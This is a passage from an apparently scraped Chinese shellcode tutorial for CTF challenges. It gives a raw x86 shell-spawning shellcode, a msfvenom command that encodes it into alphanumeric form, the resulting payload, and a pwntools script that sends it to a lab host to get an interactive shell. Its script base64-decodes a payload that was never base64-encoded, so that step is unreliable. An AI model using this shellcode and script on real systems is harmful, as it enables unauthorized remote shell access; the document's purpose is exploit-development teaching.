shellcode教程,shell编程免费教程

首页 > 经验 > 作者:YD1662022-11-07 08:30:05

显然,我们需要先执行msfvenom -l encoders挑选一个编码器

shellcode教程,shell编程免费教程(17)

图中的x86/alpha_mixed可以将shellcode编码成大小写混合的代码,符合我们的条件。所以我们配置命令参数如下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

我们需要自己输入ShellCode,但msfvenom只能从stdin中读取,所以使用linux管道操作符“|”,把ShellCode作为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。最后,由于在b-64-b-tuff中是通过指令call eax调用shellcode的

shellcode教程,shell编程免费教程(18)

所以配置BufferRegister=EAX。最后输出的payload内容为:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

编写脚本如下:

#!/usr/bin/python #coding:utf-8 from pwn import * from base64 import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") print io.recv() io.send(shellcode) print io.recv() io.interactive()

成功获取shell

shellcode教程,shell编程免费教程(19)

工具虽然好用,但也不是万能的。有的时候我们可以成功写入ShellCode,但是ShellCode在执行前甚至执行时却会被破坏。当破坏难以避免时,我们就需要手工拆分ShellCode,并且编写代码把两段分开的ShellCode再“连”到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot

这个程序的逻辑同样很简单,程序的main函数中存在一个栈溢出。

shellcode教程,shell编程免费教程(20)

上一页12345下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.